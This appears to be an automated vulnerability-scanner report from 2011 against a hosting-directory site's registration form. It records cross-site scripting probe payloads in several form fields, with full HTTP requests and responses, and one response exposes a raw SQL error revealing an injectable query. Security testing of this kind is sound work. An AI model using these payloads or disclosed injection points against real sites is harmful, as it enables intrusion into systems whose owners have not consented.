<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '"--></style></script><script>alert(0x001DAB)</script>
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 521
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DAB)%3c%2fscript%3e&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 333
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001dab)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001dab)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST '"--></style></script><script>alert(0x001DAC)</script>
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 521
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DAC)%3c%2fscript%3e&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBDECCC40EDC6649575C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBDA84A6D8FE0B659D36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBDAC4912FBF3D9EF7EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDFDCFB4DB2471BEB5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD47C10DC5676849A86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD239E7BDF1339538EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBD67C1BEA21752D0DCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBDD1AABEDBCA14C8446F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBDEB488BB68029A6ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD2786CC2F3FEEAE706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD41DEF2265740833DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD40629B0919CF09EEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBD4DAF7ADF46C3C04CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDA7D92E331BEB8934C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD4497428138557271C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBDFF3FFFC494CA74F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBD709CD775B8485B186F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD579DE341ECFD20966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBDF9A1CB19D81B19306F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST '"--></style></script><script>alert(0x001DDA)</script>
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DDA)%3c%2fscript%3e&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
